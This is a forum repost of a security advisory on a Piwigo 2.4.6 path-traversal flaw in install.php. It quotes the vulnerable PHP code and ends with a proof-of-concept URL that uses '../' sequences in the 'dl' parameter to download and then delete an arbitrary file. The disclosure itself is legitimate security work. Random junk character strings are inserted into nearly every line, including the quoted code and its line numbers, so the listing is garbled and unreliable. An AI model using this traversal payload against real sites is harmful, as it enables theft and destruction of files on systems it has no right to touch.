中国网络渗透测试联盟

标题: Piwigo任意文件泄露和任意文件删除漏洞 [打印本页]

作者: admin    时间: 2013-3-14 20:15
标题: Piwigo任意文件泄露和任意文件删除漏洞
Piwigo是用PHP编写的相册脚本。$ E4 t7 ]: _. x
0 [' ]% i$ G  `7 y; X! Q
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
# u( O. u( t0 S0 E% D====================================================================# i8 w$ v% X" b( l
/install.php:
; w9 o6 N$ N$ |8 e-------------* R9 k1 D! s% E" ^
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))- q, @  Y, T0 q1 T7 U
114: {& |$ i+ D0 V) ~6 j$ Q7 k
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
! x, ?* Q4 n+ J  G116:   header('Cache-Control: no-cache, must-revalidate');) G* A6 i5 ?* g
117:   header('Pragma: no-cache');6 U9 a9 i6 E7 H' }
118:   header('Content-Disposition: attachment; filename="database.inc.php"');7 C5 \5 h7 I! L# a% k) j
119:   header('Content-Transfer-Encoding: binary');
1 {  F$ {7 h, m: m120:   header('Content-Length: '.filesize($filename));
' w1 }+ [4 Y3 d9 e; A121:   echo file_get_contents($filename);7 T- V- H3 O5 z: `3 `% A9 ]5 i1 f
122:   unlink($filename);
8 c% w8 b; g" ]% R$ g8 A2 N4 O123:   exit();" z' n: {; r9 v, f$ l% ~
124: }
2 {: m7 |0 |; i1 b0 G====================================================================  t4 v5 Z. ^6 O  J; I( x) _

, X/ d* F6 [/ P( h; y: w. TTested on: Microsoft Windows 7 Ultimate SP1 (EN)5 x) ?" m  [0 g! Z0 j& E
           Apache 2.4.2 (Win32)# _  O. F3 _( \
           PHP 5.4.4" d7 n; P8 l6 Q/ L
           MySQL 5.5.25a5 |  k& D0 C- l4 \2 l/ `1 D

. L% D6 x' j. l% B5 Q! E) `Vulnerability discovered by Gjoko 'LiquidWorm' Krstic6 |8 m4 G$ ?5 g5 q" p
                            @zeroscience
% {  R" ^) l3 G! }1 u' ?7 g ' G6 C0 K8 d: o) N$ S  V  U
Advisory ID: ZSL-2013-51275 f4 b7 O4 P: n  k0 D
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php" b8 j# C" [$ F5 |0 ?" t
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
5 y$ |2 e7 A1 o! x 4 s2 f3 t, P8 Z8 L- T( `5 Y
15.02.2013
; ~$ Y. v7 K; J" G; r6 O
: v  o2 C2 S9 _. e4 s7 B) z# F--, L& v) {& c/ y
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
; R4 ?* ?' y9 t" P2 ~3 ^* {
2 e( _- H4 @2 x8 Y. T




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2